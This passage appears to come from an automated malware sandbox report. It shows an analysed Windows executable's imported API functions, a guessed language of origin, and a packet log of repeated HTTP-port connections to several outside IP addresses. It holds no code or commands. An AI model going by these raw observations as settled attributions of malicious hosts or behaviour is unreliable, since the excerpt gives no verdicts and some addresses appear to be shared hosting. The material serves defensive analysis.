GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 14:05:50.561923981 CEST	49869	80	192.168.2.7	195.110.124.133
Oct 9, 2024 14:05:50.566952944 CEST	80	49869	195.110.124.133	192.168.2.7
Oct 9, 2024 14:05:50.567045927 CEST	49869	80	192.168.2.7	195.110.124.133
Oct 9, 2024 14:05:50.575087070 CEST	49869	80	192.168.2.7	195.110.124.133
Oct 9, 2024 14:05:50.580287933 CEST	80	49869	195.110.124.133	192.168.2.7
Oct 9, 2024 14:05:51.247927904 CEST	80	49869	195.110.124.133	192.168.2.7
Oct 9, 2024 14:05:51.248318911 CEST	80	49869	195.110.124.133	192.168.2.7
Oct 9, 2024 14:05:51.248502016 CEST	49869	80	192.168.2.7	195.110.124.133
Oct 9, 2024 14:05:51.252199888 CEST	49869	80	192.168.2.7	195.110.124.133
Oct 9, 2024 14:05:51.257085085 CEST	80	49869	195.110.124.133	192.168.2.7
Oct 9, 2024 14:06:06.308926105 CEST	49946	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:06.314666986 CEST	80	49946	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:06.314760923 CEST	49946	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:06.326176882 CEST	49946	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:06.331114054 CEST	80	49946	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:06.777877092 CEST	80	49946	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:06.777993917 CEST	49946	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:07.835464001 CEST	49946	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:07.840393066 CEST	80	49946	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:08.853997946 CEST	49961	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:08.859430075 CEST	80	49961	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:08.859574080 CEST	49961	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:08.870631933 CEST	49961	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:08.875720024 CEST	80	49961	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:09.322642088 CEST	80	49961	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:09.322740078 CEST	49961	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:10.382026911 CEST	49961	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:10.387032032 CEST	80	49961	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:11.596483946 CEST	49971	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:11.601397991 CEST	80	49971	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:11.601475954 CEST	49971	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:11.670664072 CEST	49971	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:11.675580978 CEST	80	49971	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:11.675808907 CEST	80	49971	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:12.091451883 CEST	80	49971	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:12.091537952 CEST	49971	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:13.179481030 CEST	49971	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:13.184566021 CEST	80	49971	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:14.222141981 CEST	49976	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:14.227432966 CEST	80	49976	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:14.227515936 CEST	49976	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:14.321759939 CEST	49976	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:14.326760054 CEST	80	49976	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:14.708092928 CEST	80	49976	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:14.711096048 CEST	80	49976	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:14.711169004 CEST	49976	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:14.751202106 CEST	49976	80	192.168.2.7	13.248.169.48
Oct 9, 2024 14:06:14.756356001 CEST	80	49976	13.248.169.48	192.168.2.7
Oct 9, 2024 14:06:19.798113108 CEST	49977	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:19.803066969 CEST	80	49977	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:19.803334951 CEST	49977	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:19.814477921 CEST	49977	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:19.819432020 CEST	80	49977	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:20.954010963 CEST	80	49977	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:20.954061031 CEST	80	49977	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:20.954094887 CEST	80	49977	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:20.954166889 CEST	49977	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:21.319575071 CEST	49977	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:22.342711926 CEST	49978	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:22.347759008 CEST	80	49978	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:22.347862959 CEST	49978	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:22.359015942 CEST	49978	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:22.363908052 CEST	80	49978	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:23.353688002 CEST	80	49978	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:23.354357958 CEST	80	49978	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:23.354429960 CEST	49978	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:23.885879993 CEST	49978	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:24.901242971 CEST	49979	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:24.906352043 CEST	80	49979	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:24.906471968 CEST	49979	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:24.917965889 CEST	49979	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:24.922907114 CEST	80	49979	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:24.923280954 CEST	80	49979	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:25.838443995 CEST	80	49979	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:25.840312004 CEST	80	49979	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:25.840415001 CEST	49979	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:26.431512117 CEST	49979	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:27.550175905 CEST	49980	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:27.555767059 CEST	80	49980	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:27.555887938 CEST	49980	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:27.600434065 CEST	49980	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:27.605480909 CEST	80	49980	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:28.510396004 CEST	80	49980	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:28.510458946 CEST	80	49980	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:28.510499001 CEST	80	49980	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:28.510536909 CEST	80	49980	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:28.510541916 CEST	49980	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:28.510653019 CEST	49980	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:28.510840893 CEST	80	49980	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:28.510890961 CEST	49980	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:28.514362097 CEST	49980	80	192.168.2.7	188.114.96.3
Oct 9, 2024 14:06:28.519179106 CEST	80	49980	188.114.96.3	192.168.2.7
Oct 9, 2024 14:06:33.947453976 CEST	49981	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:33.952495098 CEST	80	49981	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:33.952591896 CEST	49981	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:33.967888117 CEST	49981	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:34.223994970 CEST	80	49981	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:34.441385031 CEST	80	49981	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:34.441458941 CEST	49981	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:35.475939035 CEST	49981	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:35.481441975 CEST	80	49981	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:36.494916916 CEST	49982	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:36.499931097 CEST	80	49982	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:36.500039101 CEST	49982	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:36.511487961 CEST	49982	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:36.516350031 CEST	80	49982	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:38.022833109 CEST	49982	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:38.028217077 CEST	80	49982	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:38.028281927 CEST	49982	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:39.041260004 CEST	49983	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:39.046257019 CEST	80	49983	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:39.046379089 CEST	49983	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:39.058021069 CEST	49983	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:39.063241005 CEST	80	49983	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:39.063306093 CEST	80	49983	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:39.549561024 CEST	80	49983	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:39.549890995 CEST	49983	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:40.569647074 CEST	49983	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:40.574672937 CEST	80	49983	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:41.641750097 CEST	49984	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:41.647128105 CEST	80	49984	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:41.647201061 CEST	49984	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:41.706000090 CEST	49984	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:41.711347103 CEST	80	49984	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:49.193428040 CEST	80	49984	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:49.193572044 CEST	80	49984	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:49.193628073 CEST	49984	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:49.196461916 CEST	49984	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:06:49.201251030 CEST	80	49984	3.33.130.190	192.168.2.7
Oct 9, 2024 14:06:54.239113092 CEST	49985	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:54.244800091 CEST	80	49985	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:54.249769926 CEST	49985	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:54.263029099 CEST	49985	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:54.267863035 CEST	80	49985	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:55.773010969 CEST	49985	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:55.820785046 CEST	80	49985	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:56.792401075 CEST	49986	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:56.797410965 CEST	80	49986	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:56.797478914 CEST	49986	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:56.812716961 CEST	49986	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:56.817754030 CEST	80	49986	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:57.416392088 CEST	80	49986	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:57.416580915 CEST	80	49986	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:57.423012972 CEST	49986	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:57.725179911 CEST	80	49985	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:57.729319096 CEST	49985	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:58.324317932 CEST	49986	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:59.338267088 CEST	49987	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:59.343329906 CEST	80	49987	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:59.349098921 CEST	49987	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:59.364028931 CEST	49987	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:06:59.369033098 CEST	80	49987	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:59.369113922 CEST	80	49987	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:59.941700935 CEST	80	49987	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:59.941814899 CEST	80	49987	162.0.238.238	192.168.2.7
Oct 9, 2024 14:06:59.945214033 CEST	49987	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:07:00.866574049 CEST	49987	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:07:01.885380983 CEST	49988	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:07:01.890724897 CEST	80	49988	162.0.238.238	192.168.2.7
Oct 9, 2024 14:07:01.890887022 CEST	49988	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:07:01.898432016 CEST	49988	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:07:01.904081106 CEST	80	49988	162.0.238.238	192.168.2.7
Oct 9, 2024 14:07:02.483592987 CEST	80	49988	162.0.238.238	192.168.2.7
Oct 9, 2024 14:07:02.484200954 CEST	80	49988	162.0.238.238	192.168.2.7
Oct 9, 2024 14:07:02.484241009 CEST	49988	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:07:02.488167048 CEST	49988	80	192.168.2.7	162.0.238.238
Oct 9, 2024 14:07:02.493061066 CEST	80	49988	162.0.238.238	192.168.2.7
Oct 9, 2024 14:07:16.117257118 CEST	49989	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:16.123359919 CEST	80	49989	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:16.125006914 CEST	49989	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:16.135421038 CEST	49989	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:16.140269995 CEST	80	49989	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:16.600474119 CEST	80	49989	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:16.600701094 CEST	49989	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:17.647903919 CEST	49989	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:17.652813911 CEST	80	49989	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:18.667392969 CEST	49990	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:18.672504902 CEST	80	49990	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:18.680056095 CEST	49990	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:18.697254896 CEST	49990	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:18.702245951 CEST	80	49990	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:20.094716072 CEST	80	49990	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:20.094841957 CEST	49990	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:20.210396051 CEST	49990	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:20.522886038 CEST	49990	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:20.593427896 CEST	80	49990	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:20.593442917 CEST	80	49990	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:20.597163916 CEST	49990	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:21.229639053 CEST	49991	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:21.234563112 CEST	80	49991	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:21.237176895 CEST	49991	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:21.247864008 CEST	49991	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:21.252845049 CEST	80	49991	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:21.253038883 CEST	80	49991	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:21.740712881 CEST	80	49991	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:21.740813971 CEST	49991	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:22.761038065 CEST	49991	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:22.766493082 CEST	80	49991	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:23.777386904 CEST	49992	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:23.782289028 CEST	80	49992	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:23.782366991 CEST	49992	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:23.793776035 CEST	49992	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:23.798659086 CEST	80	49992	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:24.238322973 CEST	80	49992	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:24.238609076 CEST	80	49992	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:24.238662004 CEST	49992	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:24.241573095 CEST	49992	80	192.168.2.7	3.33.130.190
Oct 9, 2024 14:07:24.246922970 CEST	80	49992	3.33.130.190	192.168.2.7
Oct 9, 2024 14:07:37.465291023 CEST	49993	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:37.472240925 CEST	80	49993	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:37.472313881 CEST	49993	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:37.486776114 CEST	49993	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:37.491813898 CEST	80	49993	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:37.937000036 CEST	80	49993	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:37.937098026 CEST	49993	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:38.991756916 CEST	49993	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:38.996614933 CEST	80	49993	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:40.011662006 CEST	49994	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:40.016752958 CEST	80	49994	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:40.016827106 CEST	49994	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:40.030057907 CEST	49994	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:40.035037994 CEST	80	49994	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:40.476202011 CEST	80	49994	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:40.477190018 CEST	49994	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:41.538598061 CEST	49994	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:41.543947935 CEST	80	49994	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:42.557914972 CEST	49995	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:42.562845945 CEST	80	49995	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:42.565176010 CEST	49995	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:42.577312946 CEST	49995	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:42.583373070 CEST	80	49995	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:42.585258007 CEST	80	49995	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:43.024250031 CEST	80	49995	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:43.025190115 CEST	49995	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:44.085632086 CEST	49995	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:44.090444088 CEST	80	49995	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:45.104768991 CEST	49996	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:45.110191107 CEST	80	49996	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:45.110275984 CEST	49996	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:45.118097067 CEST	49996	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:45.123696089 CEST	80	49996	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:45.587131023 CEST	80	49996	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:45.587745905 CEST	80	49996	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:45.587800026 CEST	49996	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:45.590406895 CEST	49996	80	192.168.2.7	76.223.67.189
Oct 9, 2024 14:07:45.595406055 CEST	80	49996	76.223.67.189	192.168.2.7
Oct 9, 2024 14:07:50.703965902 CEST	49997	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:50.708828926 CEST	80	49997	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:50.708904028 CEST	49997	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:50.720276117 CEST	49997	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:50.725204945 CEST	80	49997	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:51.686175108 CEST	80	49997	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:51.686234951 CEST	80	49997	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:51.686248064 CEST	80	49997	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:51.686259985 CEST	80	49997	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:51.686283112 CEST	49997	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:51.686307907 CEST	49997	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:51.686460972 CEST	80	49997	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:51.686490059 CEST	80	49997	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:51.686517000 CEST	49997	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:51.686532974 CEST	49997	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:52.226169109 CEST	49997	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:53.281876087 CEST	49998	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:53.287085056 CEST	80	49998	23.227.38.74	192.168.2.7
Oct 9, 2024 14:07:53.287240028 CEST	49998	80	192.168.2.7	23.227.38.74
Oct 9, 2024 14:07:53.343225956 CEST	49998	80	192.168.2.7	23.227.38.74
